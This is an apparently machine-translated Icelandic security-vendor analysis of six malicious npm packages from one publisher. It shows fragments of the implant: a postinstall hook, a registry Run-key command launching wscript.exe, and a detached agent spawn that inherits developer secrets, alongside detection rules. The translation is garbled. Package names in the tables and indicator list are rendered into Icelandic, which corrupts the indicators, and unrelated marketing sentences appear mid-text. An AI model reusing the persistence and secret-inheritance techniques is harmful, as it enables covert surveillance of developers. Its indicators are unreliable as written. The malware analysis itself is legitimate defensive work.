TL; DR
Milli 1. apríl og 3. maí 2026, einn npm útgefandi, user0001, skráð með óstaðfestu Gmail netfangi tanvisoul9@gmail.com, kynnti hljóðlega sex pakka með vísvitandi dauflegum, innviða-hljómandi nöfnum: centralogger, dom-utils-lite, node-fetch-lite, connector-agent, node-gyp-runtimeog node-env-resolve.
Nýjustu tvær útgáfurnar af node-env-resolve, 1.0.7 og 1.0.8, voru merkt af Malware Early Warning (MEW) kerfi Xygeni þann 2. maí og staðfest illgjarn þann 3. maí.
Ígræðslan er óvenjuleg fyrir það sem hún er ekki: það eru engir Telegram-botar, engar OAST-tilbakasímtöl, engar obfuscationog engin tilraun til að ná í AWS innskráningarupplýsingar við uppsetningu. Í staðinn, postinstall.js setjir Windows ræsingarviðvarandi færslu með því að nota HKCU Run lykil sem ræsir wscript.exe gegn VBS stubbi. Þá skapar það aðskilinn Node.js umboðsmann sem setur saman einingar fyrir hljóðnemaupptöku, þjófnað á vafrasögu, skjámyndatöku og músar-/lyklaborðshermun.
Við köllum þennan klasa DevTap, eftir að búnaðurinn keyrir á vél forritarans.
Allir sex pakkarnir voru virkir á npm þegar þetta var skrifað. Við höfum sent þá inn á misnotkunarrás skrásetningarinnar. Verjendur ættu að fjarlægja allar uppsetningar frá útgefandanum sem bíða eftir að þær verði fjarlægðar.
Klasinn: Sex pakkar, einn útgefandi
Útgefandareikningurinn user0001 er óstaðfest. Það hefur enga SCM staðfesting, ekkert netfang bundið við lén og engin fyrri saga. Gmail notandanafnið tanvisoul9 kemur ekki fyrir í neinum öðrum npm útgefandaskrám sem við gátum fundið.
Allir sex pakkarnir lista sama viðhaldsaðila, voru birtir frá sama reikningi og deila sama ... package.json Standard. Það er enginn repositoryÁ homepageog nr description lengri en ein lína.
Nafngiftarstefnan er áhugaverður hlutinn. Ólíkt hefðbundinni ruglingsherferð eða typosquat-herferð, þá beinist ekkert þessara nafna að tilteknu uppstreymisbókasafni. Í staðinn eru þau stillt til að hverfa inn í raunverulegt package.json or npm ls framleiðsla.
| Pakki | Fyrst birt | Nýjasta útgáfa | útgáfur | Hlutverk í klasanum |
|---|---|---|---|---|
| miðlægur | 2026-04-01 12:46 UTC | 1.0.9 | 5, frá 1.0.5 til 1.0.9 | Forsíða „skráningargagnsemi“ klasans; fyrsta útgáfa |
| dom-utils-lite | 2026-04-14 07:36 UTC | 1.0.3 | 3 | Almenn DOM-hjálparhlíf |
| hnúta-fetch-lite | 2026-04-19 10:22 UTC | 1.0.2 | 3 | Líkir eftir hnúta-sækja fjölskyldu |
| tengimiðlari | 2026-04-25 05:12 UTC | 1.0.0 | 1 | Almennt heiti „umboðsmaður“ |
| keyrslutími hnúta-gyp | 2026-04-25 05:17 UTC | 1.0.0 | 1 | Líkir eftir verkfærum fyrir smíði innfæddra eininga |
| hnútaumhverfi-leysa | 2026-04-25 05:21 UTC | 1.0.9 | 10, frá 1.0.0 til 1.0.9 | Virkur dropateljari; fullur ígræðsla |
Nöfn eins og centralogger, node-fetch-liteog node-gyp-runtime eru hönnuð til að líta óumdeild út í kóðaskoðun. Þau hljóma eins og hlutir sem væru þegar til staðar í tengslatré verkefnis.
Í bland við nýjan, óstaðfestan útgefanda og vantar tengla á gagnasöfn mynda þau greinilegt mynstur: aðili sáir nöfnum sem eru ekki eins flókin og mögulegt er í skrána og endurtekur sig síðan hratt á því sem skiptir máli. Í þessu tilfelli, node-env-resolve fékk tíu útgáfur á átta dögum.
Hvað lendir á Windows Dev Box
Illgjarna keðjan á node-env-resolve:1.0.8 er stutt, beinskeytt og óvenju eiginleikaríkt fyrir npm RAT.
Eftir uppsetningu: Varanleiki og aðskilinn umboðsmaður
package.json lýsir yfir einni uppsetningarkrókur:
{ "scripts": { "postinstall": "node postinstall.js" } }postinstall.js gerir þrennt í röð.
Fyrst setur það uppsetningarmöppu utan npm trésins. Slóðin er reiknuð út í keyrslutíma í handritinu sem INSTALL_DIRSíðan keyrir það innra execSync('npm install --production --silent ...') inni í því til að sækja keyrslutímatengdar tengingar ígræðslunnar. Þetta setur umboðsmanninn á disk einhvers staðar í handbók. node_modules endurskoðun mun ekki finna.
Í öðru lagi skrifar það VBS ræsiforrit og skráir það fyrir ræsingarþol:
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run \ /v ${AGENT_NAME} \ /t REG_SZ \ /d "wscript.exe \"${vbsPath}\"" /fwscript.exe er Windows Script Host, undirritað Microsoft tvíundarskrá sem keyrir .vbs skrár án stjórnborðsglugga. Það er fyrirframcisÞess vegna er það vinsælt fyrir sjálfvirkar stubba.
Þar er einnig samsvörun reg delete slóð inni src/index.js, sem bendir til þess að ígræðslan sé hönnuð þannig að hægt sé að fjarlægja hana auðveldlega að skipun notanda.
Í þriðja lagi hrindi það af stað aðskilnu undirferli:
spawn(node, [path.join(INSTALL_DIR, 'src/index.js')], { detached: true, env: { ...process.env, SERVER_URL } })Tvær upplýsingar skipta máli hér.
SERVER_URL er lesið úr umhverfinu. Þar af leiðandi er C2 endapunkturinn stillanlegur fyrir hverja dreifingu og er ekki bakaður inn í pakkann. Þessi litla en meðvitaða ákvörðun vinnur gegn flestum static-IOC snúningum.
Einnig erfir barnið sem myndast allt foreldraumhverfið. Þess vegna, hvaða NPM_TOKEN, AWS_*, GITHUB_TOKEN, eða SSH-agent tengill sem er til staðar í forritaraskelin við uppsetningu ferðast inn í minni langlífa umboðsmannsins.
Það sem umboðsmaðurinn sendir með sér
Búntað src/ tréð inniheldur þrjár einingar sem segja sína sögu einar og sér nöfn: audioCapture.js, browserHistory.jsog systemInfo.js.
Listi yfir keyrslutímatengda ósjálfstæði, leystur á meðan á stigsetningu stóð npm install, staðfestir þau.
Þessi aðferð breytir óreiðukenndu atviki í stýrð viðbrögð.
Í stað þess að bregðast við í blindu, starfa teymi með skýr forgangsröðun og skjót úrbætur.
| Yfirráðasvæði | Til hvers er það í þessu samhengi |
|---|---|
| skjámynd-skrifborð | Regluleg skjámyndataka |
| @hnetutré-gaffall/hnetu-js | Sjálfvirkni músar og lyklaborðs / innsláttarhermun |
| betri-sqlite3 | Bein lestur á SQLite gagnagrunnum í Chrome, Edge og Firefox History |
| adm-póstnúmer | Sameining safnaðra gripa fyrir upptöku |
| skarpur | Að breyta stærð / þjappa skjáskotum og myndbrotum |
| socket.io-viðskiptavinur | Varanleg tvíátta C2 rás |
| hnútavélaauðkenni | Stöðugt fingrafar fyrir hvern hýsil til að rekja fórnarlömb |
systemInfo.js símtöl os.networkInterfaces() fyrir frekari fingrafarasöfnun fyrir fyrsta merkið.
Af hverju hljóðupptakan er áberandi merki
Flestir npm RAT-ar sem við flokkum í MEW stöðva leyniþjófnað á uppsetningartíma. Þeir lesa. ~/.npmrc, lesið ~/.aws/credentials, skafa process.env, POST á veftengingu og hætta. Það passar við hagfræðilíkan þar sem hægt er að grípa og brjóta. Skilríki hafa stuttan helmingunartíma og árásaraðilinn þarf að græða hratt.
node-env-resolve er ólíkt í lögun.
Varanleiki er stilltur til að lifa af endurræsingu. Umboðsmaðurinn keyrir óháður og endist lengi undir wscript.exeBúnaðurinn sem það inniheldur er til að vera þar á tölvu forritara, ekki til að grípa og skilja eftir: hljóðnemaupptökutæki, lyklaborðs-/músarrekli, inntöku á fullri vafrasögu, skjámyndatöku og gagnvirka Socket.IO rás aftur í stillanlegan C2.
Sérstaklega er hljóðnemaupptaka sú lína sem þessi herferð fer yfir sem flest npm spilliforrit ná ekki.
Vinnustöð forritara er í auknum mæli einnig sú vinnustöð þar sem forritarar taka við uppistandsræðum, símtölum við viðskiptavini, hönnunarumræðum og vaktbrúum. Ígræðsla sem tekur upp hljóðnemann er ekki í raun að sækjast eftir npm-tákni forritarans. Hún er að sækjast eftir því sem forritarinn segir fyrir framan fartölvuna.
Þessi eiginleiki, ásamt skorti á ruglingi og fjarveru allra áberandi útrýmingar á uppsetningartíma, lesist sem fyrirfram staðsetning fyrir markvissan aðgang frekar en tækifærissinnaðan skilríkisþjófnað.
Við erum ekki að fullyrða að þetta sé eingöngu út frá þessu. Við tökum eftir rekstrarsniði.

Átta daga endurtekningartíðni á node-env-resolve er mest afgerandi smáatriðið í tímalínunni hvað varðar reynslu.
Þetta er ekki bara „skjóta og gleyma“ kerfi. Útgefandinn er að viðhalda kerfinu virkt, sem þýðir venjulega annað hvort af tveimur hlutum. Annað hvort eru þeir að stilla það að prófunarumhverfi fyrir víðtækari dreifingu, eða þeir eru þegar búnir að setja upp fjarmælingar og eru að bregðast við því.
Hinir fimm pakkarnir sáu í raun enga breytingu eftir fyrstu útgáfu þeirra. Þetta passar við mynstrið „einu sinni stigi, skildu eftir nafn“ fyrir stuðningsklasann á meðan verkfræðivinnan beinist að pakkanum sem vinnur verkið.
Tilvísun: Lítil vísbending, engin fast niðurstaða
Public OSINT Merki eru þunn og við munum ekki teygja þau. Það sem er sýnilegt:
Gmail-handfangið tanvisoul9 líkist að hluta til suður-asísku eiginnafni, „Tanvi“. Þetta er veikt merki. Gmail-nöfn eru ekki auðkenni og eftirnafnið soul9 er almennt. Það er ekki öruggt að álykta landfræðilega út frá staðbundnum hluta tölvupósts einum saman.
Kóðastíllinn er ómerkilegur í Node.js: standard símtöl í bókasafni eins og os, child_process, spawnog reg addÞað er engin ruglingur, engin strengjasnúningur og engin villuleitarrökfræði. Höfundurinn er sáttur við frumstæð Windows skrásetningarkerfi og skipulagningu aðskilinna undirferla, en virðist ekki vera að leita að laumulegri iðnaðaraðferðum sem þeir gætu líklega verið að nota.
Ósjálfstæði er algjörlega tilbúið og vel þekkt: screenshot-desktop, nut-js, better-sqlite3og socket.io-clientÞað er engin sérsniðin samskiptaregla, enginn C2-stakkur sem er rúllaður frá grunni og ekkert nýtt viðvarandi bragð umfram kennslubók. HKCU KeyrslulykillÞetta er hæfur samþættingaraðili, ekki verkfærahöfundur.
Við fundum enga strengi sem ekki voru á ensku, innfelldar athugasemdir, staðsetningargögn eða fingraför tímabeltis frá þýðanda í birtum gripum.
Við könnuðum hvort kóði sköruðust við fyrri herferðir sem við fylgjumst nú þegar með, þar á meðal Shai Hulud, Owlivion, Buildkite, og nýlegi heibai / claude-code-best Klónfjölskyldan Anthropic-CLI. Við fundum enga: engin sameiginleg C2 mynstur, engin sameiginleg skráarútlit og engin sameiginleg orðatiltæki.
Það sem við myndum ekki segja: að þetta sé ríkisaðili, þekktur hópur eða landfræðilega tengdur einhverju tilteknu landi.
Rekstrarsniðið er í samræmi við lítið, meðalhæft teymi sem sér um eftirlit með vinnustöðvum forritara. Það er líklega fjárhagslega hvatt til þess með notkun aðgangsins að öðrum aðila, en hugsanlega einnig með þjónustukönnun fyrir sérstakan kaupanda.
Tvö óbein atriði styðja þetta: forðast athyglisverð útrásarkerfi sem myndi brenna klasann hratt, eins og Telegram-botta, oastify.com, eða canarytokens, og vísvitandi dauf pakkanöfn, sem kjósa rólegar langhala uppsetningar fremur en stutta aukningu í miklu magni.
Vísbendingar um málamiðlanir og uppgötvun
| Pakkar og útgefandi | |
|---|---|
| Field | gildi |
| npm útgefandi | user0001 |
| Netfang útgefanda | tanvisoul9@gmail.com, óstaðfest |
| Pakkar | centralogger, dom-utils-lite, node-fetch-lite, tengiforrit, node-gyp-keyrslutími, node-env-resolve |
| Staðfest að þetta sé illgjarnt | hnúta-umhverfi-leysa@1.0.7, hnúta-umhverfi-leysa@1.0.8 |
| Gripir hýsils | |
|---|---|
| Gerð | gildi |
| Þrautseigjulykill | HKCU\Software\Microsoft\Windows\CurrentVersion\Run |
| Varanleikagildi | Breytuheiti; gögn á forminu wscript.exe " \\ .vbs" |
| Setja upp krók | postinstall: hnútur postinstall.js í pakkaupplýsingaskránni |
| Ígræðslueiningar | src/audioCapture.js, src/browserHistory.js, src/systemInfo.js |
| Uppsetningarskrá | INSTALL_DIR leyst utan node_modules verkefnisins; staðsetning stillt af postinstall.js við uppsetningu |
| Net | |
|---|---|
| Gerð | gildi |
| C2 flutningur | socket.io-client, varanleg tvíátta rás |
| C2 endapunktur | Veitt til umboðsmannsins í gegnum umhverfisbreytuna SERVER_URL; ekki harðkóðað í birtar gripmyndir |
Athugasemdir um greiningu
Tvær reglur ná þessari fjölskyldu án þess að þörf sé á C2 endapunktinum.
Fyrst skaltu merkja forskriftir eftir uppsetningu sem framkvæma innri npm install í slóð utan eigin möppu pakkans. Sérhver lögmætur niðurhalsforrit fyrir forsmíði, eins og node-gyp endurbyggir eða forbyggðar niðurhalsforrit fyrir tvíundarforrit, skrifar inni í pakkanum eða inn í kerfi-standard skyndiminni með staðfestum hash-gögnum. Það skrifar ekki í nýstofnaða INSTALL_DIR annars staðar á diskinum.
Í öðru lagi, merkja forskriftir eftir uppsetningu sem valda vandræðum reg add HKCU\…\Run með wscript.exe sem ræsiforrit. Þetta er í raun aldrei löglegt frá npm pakka. Merktu það og settu það í sóttkví.
Þriðja vísbendingin er gagnleg til að greina næsta systkinapakka áður en hann er staðfestur: nýr npm útgefandi án SCM staðfesting, Gmail netfang, nei repository reitur og mörg stutt, almenn pakkanöfn sem hljóma eins og innviðir og eru gefin út með nokkurra daga millibili er í sjálfu sér nóg til að réttlæta handvirka yfirferð.
Tilkynnt til npm skrásetningarinnar. Við munum uppfæra þessa færslu þegar útgefandareikningurinn hefur verið fjarlægður.






